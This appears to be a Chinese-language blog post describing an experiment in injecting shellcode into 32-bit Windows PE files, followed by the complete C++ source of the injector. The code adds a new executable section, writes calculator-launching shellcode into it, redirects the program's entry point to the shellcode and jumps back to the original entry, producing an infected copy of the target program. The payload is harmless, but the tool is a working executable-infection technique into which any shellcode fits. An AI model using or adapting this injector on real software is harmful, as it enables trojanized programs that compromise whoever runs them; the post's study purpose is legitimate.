PE文件注入

2 篇文章 0 订阅
1 篇文章 0 订阅

PE文件注入shellcode、实现弹出计算器

1.实验环境及要求

win10(地址随机化)、 32位exe(dll尚未尝试、理论上是可行的)

实现功能

  1. 地址自定位的弹出计算器的shellcode
  2. 注入PE、打开PE是弹出计算器
  3. PE本身功能完整性

2. 实验思路

  1. 解决shellcode地址定位的问题(使用PEB解决)
  2. 修好PE节表、添加新的节
  3. 修改新节的内容、新节的首部注入shellcode
  4. 修改PE入口点、执行新节的起始地址(shellcode)
  5. 在新节的起始地址、添加JMP 指令、跳转带程序原来的入口地址、需要一些辅助的寻找原来的入口点在内存进程中的位置!

3. 程序执行

  1. 32位或者64位编译程序(hack.exe)
  2. hack.exe target.exe
  3. 输出注入了PE的target_back.exe

源代码:

#include <iostream>
#include<windows.h>
#include<winnt.h>
//PE文件结构 :https://blog.csdn.net/chkylin/article/details/47949029
#include <string>
#include <fstream>
#include <vector>

using namespace std;
typedef unsigned char u8;
char shellcode_x32[] = "\x31\xD2\x52\x68\x63\x61\x6C\x63\x54\x59\x52\x51\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x3B\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF0\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7";

/**
 * debug __LINE__ 出现错误的行号
 * */
void error(string msg, int line = 0) {
    if (line != 0) {
        cout << "LINE " << line << " ERROR:" << msg << endl;
    } else {
        cout << "ERROR:" << msg << endl;
    }
}

/** 输入指针 输入大小
 *  输出指针内容的byte!
 *  */
void show(void *src, int size) {
    char *p = (char *) src;
    for (int i = 0; i < size; i++) {
        if (i % 16 == 0) {
            cout << endl;
        }
        printf("%02x ", (unsigned char) *p);
        p++;
    }
}

/**
 * char*指针转化为16位数无符号数
 * */
static UINT16 uint8to16(UINT8 twouint8[2]) {
    return *(UINT16 *) twouint8;
}

static UINT32 uint8to32(UINT8 fouruint8[4]) {
    return *(UINT32 *) fouruint8;
}

static UINT64 uint8to64(UINT8 eightuint8[8]) {
    return *(UINT64 *) eightuint8;
}

/**
 * 分割字符串 结果输出到string vector
 * */
static vector<string> split(const string &str, const string &pattern) {
    vector<string> res;
    if (str == "")
        return res;
    //在字符串末尾也加入分隔符,方便截取最后一段
    string strs = str + pattern;
    size_t pos = strs.find(pattern);
    while (pos != strs.npos) {
        string temp = strs.substr(0, pos);
        res.push_back(temp);
        //去掉已分割的字符串,在剩下的字符串中进行分割
        strs = strs.substr(pos + 1, strs.size());
        pos = strs.find(pattern);
    }
    return res;
}

/** 添加新节的步骤
 * 1. 获取节的数目,并且将节的数目加一
 * 2. 添加一个新的节表头、设置节表的属性
 * 3. 根据新加的节表头的VA地址、设置程序的入口点
 * 4. 新增节表(文件末尾) 添加注入的shellcode
 * 5. 在shellcode后面添加jmp指令、转到原始入口点
 * */
int main(int argc, char *argv[]) {
    setbuf(stdout, nullptr);
    if (argc != 2) {
        cout << "请输入命令行参数\n inject.exe(本程序) target.exe(待感染的程序)\n";
        exit(-1);
    }
    string target = argv[1];
    ifstream f(target, ios::in | ios::binary);
    if (!f) {
        error("文件打开失败", __LINE__);
        exit(-1);
    }
    f.seekg(0, f.end);
    size_t fileSize = f.tellg();
    f.seekg(0, f.beg);// 定位到文件开始
    u8 *buffer = new u8[fileSize + 0x200];
    memset(buffer, 0, fileSize + 0x200);
    f.read((char *) buffer, fileSize);
    f.close();
    cout << "File length is " << fileSize << endl;
    // PE+0x40
    //NT文件头 第三部分起始地址位于:DOS头的0x3c处 四字节
    PIMAGE_NT_HEADERS32 pimageNtHeaders32;
    pimageNtHeaders32 = (PIMAGE_NT_HEADERS32) (buffer + uint8to32(buffer + 0x3c));
    cout << "展示NT文件头\n";
    show(pimageNtHeaders32, sizeof(IMAGE_NT_HEADERS32));
    WORD NumberOfSections = pimageNtHeaders32->FileHeader.NumberOfSections;
    cout << "\n节表数" << NumberOfSections << endl;
    // TODO 节表数
    pimageNtHeaders32->FileHeader.NumberOfSections += 1;

    DWORD AddressOfEntryPoint = pimageNtHeaders32->OptionalHeader.AddressOfEntryPoint;
    cout << "原始入口" << hex << AddressOfEntryPoint << endl;
    WORD optionHeaderSize = pimageNtHeaders32->FileHeader.SizeOfOptionalHeader;
    // 单个节表的大小为0x28
    PIMAGE_SECTION_HEADER pimageSectionHeader = (PIMAGE_SECTION_HEADER) (((u8 *) pimageNtHeaders32) + 0x18 +
                                                                         optionHeaderSize);
    cout << "NT Header size is " << hex << 0x18 + optionHeaderSize << endl;
    cout << "展示节表\n";
    show(pimageSectionHeader, 20);
    PIMAGE_SECTION_HEADER p = pimageSectionHeader + NumberOfSections - 1;
    //show(p, 0x28);
    // 新的程序入口点
    DWORD lastSectionSizeInMem;

    if (p->SizeOfRawData % 0x1000 == 0) {
        lastSectionSizeInMem = p->SizeOfRawData;
    } else {
        lastSectionSizeInMem = ((p->SizeOfRawData / 0x1000) + 1) * 0x1000;
    }
    // 程序入口点
    DWORD NewAddressOfEntryPoint = p->VirtualAddress + lastSectionSizeInMem;
    pimageNtHeaders32->OptionalHeader.AddressOfEntryPoint = NewAddressOfEntryPoint;
    // shellcode在文件的偏移(最后一个节的文件起始地址+文件大小)恰好等于文件原始大小
    // 这个地址就是新节的在文件的起始地址!
    DWORD shellcodeInjectAddress = p->SizeOfRawData + p->PointerToRawData;
    cout << hex << shellcodeInjectAddress << endl;
    p++;// 执行demo节表
    // 节表:https://www.cnblogs.com/zpchcbd/p/12321986.html
    // 设置新节的属性
    memset(p->Name, 0, 8);
    strncpy((char *) p->Name, ".zjc", strlen(".zjc"));
    p->Misc.VirtualSize = 0x200;
    p->VirtualAddress = NewAddressOfEntryPoint;
    p->SizeOfRawData = 0x200;
    p->PointerToRawData = shellcodeInjectAddress;
    p->Characteristics = 0xE00000E0;// 可读可写可执行
    pimageNtHeaders32->OptionalHeader.SizeOfImage = NewAddressOfEntryPoint + p->Misc.VirtualSize;
    cout << dec << strlen(shellcode_x32);
    u8 *shell = buffer + shellcodeInjectAddress;
    //show(shell, 100);
    u8 *q = shell;// q为了方便测试
    int len = strlen(shellcode_x32);
    memcpy(shell, shellcode_x32, len);
    shell = shell + len;
    // shell 指向后续的JMP内容
    // \xE8\x00\x00\x00\x00\x58\x83\xE8\x4A\x2D\x00\x30\x02\x00\x05\xC0\x13\x01\x00\xFF\xE0
    // call 0x00000000; pop eax;
    // 防止字符串被截断
    memcpy(shell, "\xE8\x00\x00\x00\x00\x58", 6);
    shell += 6;
    //sub eax,0x4d [strlen(shellcode)+5]
    u8 subeax0x4d[] = "\x83\xE8\x4D";
    subeax0x4d[2] = (u8) (strlen(shellcode_x32) + 5);
    memcpy(shell, subeax0x4d, 3);
    shell += 3;
    //sub eax,0x00023000;//
    //add eax,0x000113C0;//
    //jmp eax;FFE0
    u8 *jmp = new u8[12];
    memcpy(jmp, "\x2D\x00\x30\x02\x00\x05\xC0\x13\x01\x00\xFF\xE0", 12);
    memcpy(jmp + 1, &NewAddressOfEntryPoint, 4);
    memcpy(jmp + 6, &AddressOfEntryPoint, 4);
    memcpy(shell, jmp, 12);
    delete[]jmp;

    show(shell, 12);
    show(q, 100);

    vector<string> outputTarget = split(target, ".");
    if (outputTarget.size() != 2) {
        error("格式错误\n", __LINE__);
        exit(-1);
    }
    string output = outputTarget[0] + "_bake.exe";
    // 注意是二进制打开 否则会出错误
    ofstream out(output, ios::binary | ios::trunc);
    if (!out) {
        error("写文件打开失败\n");
        exit(-1);
    }
    out.write((char *) buffer, fileSize + 0x200);
    out.close();
    delete[]buffer;
    return 0;
}

关于shellcode编写请参考:

https://github.com/zhaojunchen/win-exec-calc-shellcode

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值